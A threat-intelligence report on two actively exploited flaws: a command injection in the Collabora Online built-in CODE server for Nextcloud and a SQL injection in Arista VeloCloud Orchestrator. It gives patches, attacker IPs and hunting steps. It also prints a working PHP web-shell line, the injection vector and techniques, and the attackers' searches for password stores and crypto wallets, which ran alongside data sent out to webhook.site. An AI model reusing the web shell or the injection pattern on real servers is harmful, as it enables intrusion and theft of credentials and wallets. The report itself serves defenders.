Threat reportVulnerabilityTL-2026-4358
CISA KEV: Actively Exploited Collabora Online CODE Server RCE (CVE-2026-110447) and Arista VeloCloud Orchestrator SQLi (CVE-2026-114625)
CISA KEV: Actively Exploited Collabora Online CODE Server (TL-2026-4358), also tracked as Collabora CODE Nextcloud web shell campaign, is a critical-severity software vulnerability scored CVSS 9.9, first published 2026-10-24. It has no confirmed attribution, affects Collabora Collabora Online Built-in CODE Server (richdocumentscode, references 3 CVEs (CVE-2026-110447, CVE-2026-114625, CVE-2026-17191), maps to 9 MITRE ATT&CK techniques (T1027, T1059, T1078), and is covered by 9 detection rules and 20 indicators of compromise.
- CVSS
- 9.9/10Critical
- CVEs
- 3Referenced vulnerabilities
- Techniques
- 9MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 20Indicators of compromise
Key facts for TL-2026-4358
- Threat ID
- TL-2026-4358
- Also known as
- Collabora CODE Nextcloud web shell campaign, VeloCloud Orchestrator superuser operator SQLi
- Severity
- CRITICAL
- CVSS
- 9.9
- Status
- ACTIVE
- Category
- VULNERABILITY
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- technology, telecoms, enterprise, government administration
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 20
Malware and tooling in CISA KEV: Actively Exploited Collabora Online CODE Server
Malware and tooling: webhook.site
How CISA KEV: Actively Exploited Collabora Online CODE Server works
CISA added two actively exploited critical flaws to the KEV catalog on 2026-10-23: an unauthenticated OS command injection in the Collabora Online Built-in CODE Server (richdocumentscode) Nextcloud app, used to plant PHP web shells and hunt for credential stores and crypto wallets, and a SQL injection in on-premise Arista VeloCloud Orchestrator that elevates any authenticated user to local superuser operator. Neither exploitation campaign is attributed to a named actor.
CVE-2026-110447 (CVSS 4.0: 9.2, CWE-78) is an OS command injection in proxy.php of the Collabora Online Built-in CODE Server app (richdocumentscode) for Nextcloud, affecting versions before 26.4.303. The flaw is reachable without authentication when the built-in CODE server is not running (for example after a restart, upgrade or crash). Per the public GitHub incident report (CollaboraOnline/richdocumentscode issue 354, GHSA-g3vx-3m76-fghh), the vulnerable endpoint is /apps/richdocumentscode/proxy.php?status, and the injection is delivered through the remote_font_config.url parameter using encoded path traversal (%2e%2e), shell command substitution ($( and ${IFS}) and base64-encoded payloads piped to a shell. Standalone Collabora Online servers, Docker, RPM/DEB installs and Nextcloud All-in-One are not affected. Nextcloud 29 and older cannot install the patched app version.
Exploitation was first logged on 2026-09-10 (19:51 UTC+2) from 139.28.18.122 and again on 2026-09-11; a further attempt from 89.38.98.50 hit a patched server on 2026-09-14. The fix was committed 2026-09-09 and released as 26.4.303 on 2026-09-11, roughly four weeks before the CVE and advisory were published on 2026-10-14. Attack payloads wrote PHP web shells (shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php, shxf4645.php, shx13a86.php, shx56367.php) into apps/richdocumentscode/ with the content <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');, and sent system information to webhook.site callback URLs. Post-exploitation commands searched for password databases and password-manager artifacts (*.kdbx, bitwarden, 1password) and cryptocurrency wallet material (wallet.dat, keystore.json, .bitcoin, .electrum, .monero, .ethereum). Failed sudo attempts by the web server account were observed; no confirmed root access or data theft was established. Some administrators claimed ransomware operators also used the flaw, but this was not independently confirmed.
CVE-2026-114625 (CVSS 9.9 v3.1 per CISA/press, 9.4 v4.0 per Arista advisory 0199, CWE-89, internal tracking BUG2043622) is a SQL injection in on-premise Arista VeloCloud Orchestrator (VCO). An authenticated user holding even the lowest built-in tenant role (Enterprise Read Only) can gain local superuser operator privileges and reach functionality intended only for internal use. It requires network access to the VCO web interface and a valid authenticated session, with no user interaction. Affected: 5.2.x before 5.2.3.18, 6.1.x before 6.1.3.10, 6.4.x before 6.4.2.12; VeloCloud Gateway and Edge are unaffected. Arista confirmed exploitation; attack sources reported are 74.82.197.86 and 38.54.50.151. Exploitation is unattributed. It is reported as the third actively exploited VCO flaw since July 2026, after CVE-2026-16812 and CVE-2026-93952 (both CVSS 10.0). Arista advisory 0199 was published 2026-10-22 (the advisory page states it was updated 2026-10-26, after the KEV date). Both CVEs were added to CISA KEV on 2026-10-23 with an FCEB remediation deadline of 2026-10-26.
Note: the Arista advisory text for the earlier VCO flaws (advisory 0145, CVE-2026-17191/17192) is a different issue from CVE-2026-114625 and is not conflated here. The Hacker News article lists the two VeloCloud IPs as Japan-based; the web-shell/IP details for the Collabora campaign come from the public GitHub incident report as relayed by The Hacker News and BleepingComputer.
MITRE ATT&CK techniques used in TL-2026-4358
Defense Evasion
T1027 Obfuscated Files or Information
Execution
T1059 Command and Scripting Interpreter
Initial Access
T1078 Valid Accounts; T1190 Exploit Public-Facing Application
Discovery
T1082 System Information Discovery
Persistence
T1505 Server Software Component
Credential Access
T1552 Unsecured Credentials; T1555 Credentials from Password Stores
Exfiltration
Affected products and versions in CISA KEV: Actively Exploited Collabora Online CODE Server
- Collabora — Collabora Online Built-in CODE Server (richdocumentscode, Nextcloud app)
Vulnerable versions: all versions before 26.4.303
Fixed in: 26.4.303 - Arista — VeloCloud Orchestrator (on-premise)
Vulnerable versions: 5.2.x before 5.2.3.18; 6.1.x before 6.1.3.10; 6.4.x before 6.4.2.12
Fixed in: 5.2.3.18; 6.1.3.10; 6.4.2.12
Remediation for CISA KEV: Actively Exploited Collabora Online CODE Server
Patches
- richdocumentscode 26.4.303 (released 2026-09-11)
- Arista VCO 5.2.3.18, 6.1.3.10, 6.4.2.12 (Arista Security Advisory 0199)
Immediate actions
- Update the Nextcloud richdocumentscode (Collabora Online Built-in CODE Server) app to 26.4.303 or later, or remove it
- Hunt for shx*.php and shrf4645.php files in apps/richdocumentscode/ and delete them; rotate credentials and wallet material reachable by the web server account
- Review web logs from 2026-09-10 onward for proxy.php?status requests containing %2e%2e, $(, ${IFS} or base64 piping
- Upgrade on-premise Arista VeloCloud Orchestrator to 5.2.3.18, 6.1.3.10 or 6.4.2.12 or later
- Block 74.82.197.86, 38.54.50.151, 139.28.18.122 and 89.38.98.50 at the perimeter and search historical logs for them
Workarounds
- Uninstall the Collabora Built-in CODE Server app if it cannot be updated
- Limit network exposure of the VCO web interface; monitor VCO for unusual URL-like path components, encoded characters, high request rates and unexpected outbound activity
Longer-term hardening
- Restrict VCO web interface access to trusted administrative networks
- Review VCO accounts, particularly Enterprise Read Only users, and audit unexplained administrator changes
- Do not run Nextcloud 29 or older (cannot install the patched app); upgrade the platform or uninstall the app
- Prefer standalone Collabora Online over the built-in CODE server and monitor web roots for unexpected PHP files
CVEs associated with CISA KEV: Actively Exploited Collabora Online CODE Server
Weaknesses (CWE) in CISA KEV: Actively Exploited Collabora Online CODE Server
Timeline of CISA KEV: Actively Exploited Collabora Online CODE Server
- Arista publishes advisory 0145 for earlier VeloCloud Orchestrator flaws (CVE-2026-17191/17192); CVE-2026-16812 and CVE-2026-93952 are cited as earlier exploited VCO flaws, making CVE-2026-114625 the third since July 2026.
- Collabora commits the fix for the proxy.php command injection in richdocumentscode.
- First logged attack on a Nextcloud server at 19:51 UTC+2 from 139.28.18.122 against /apps/richdocumentscode/proxy.php?status, dropping PHP web shells.
- richdocumentscode 26.4.303 released; a second attack from 139.28.18.122 is logged at 09:56 UTC+2.
- Additional exploitation attempt from 89.38.98.50 against a patched server.
- Community warning posted about active exploitation of the Collabora built-in CODE server on Nextcloud.
- CVE-2026-110447 and the GitHub security advisory (GHSA-g3vx-3m76-fghh) are published, about four weeks after the fix.
- Arista publishes Security Advisory 0199 for CVE-2026-114625 confirming active exploitation; fixes in VCO 5.2.3.18, 6.1.3.10 and 6.4.2.12.
- CISA adds CVE-2026-110447 and CVE-2026-114625 to the Known Exploited Vulnerabilities catalog.
- FCEB agency remediation deadline for both KEV entries.
Sources cited for CISA KEV: Actively Exploited Collabora Online CODE Server
- CISA Flags Two Actively Exploited Critical Flaws in Collabora Online and Arista VeloCloud
- Hackers backdoor Nextcloud servers (The Hacker News)
- Hackers exploit Collabora RCE flaw to backdoor Nextcloud servers (BleepingComputer)
- Hackers Use Critical Collabora Flaw to Compromise Nextcloud Servers (eSecurity Planet)
- richdocumentscode GitHub incident report: RCE via proxy.php (issue 354)
- Nextcloud advisory: Collabora built-in user, update ASAP
- OpenCVE: CVE-2026-110447
- CISA KEV catalog entry for CVE-2026-110447
- Arista Security Advisory 0199 (CVE-2026-114625)
- SOCRadar: VeloCloud Orchestrator CVE-2026-114625 Active Exploitation
- Arista Security Advisory 0145 (earlier VCO flaws CVE-2026-17191/17192)
Detection coverage for TL-2026-4358
As of 2026-10-24, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-4358 across Splunk SPL, Microsoft KQL and Sigma, covering 20 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.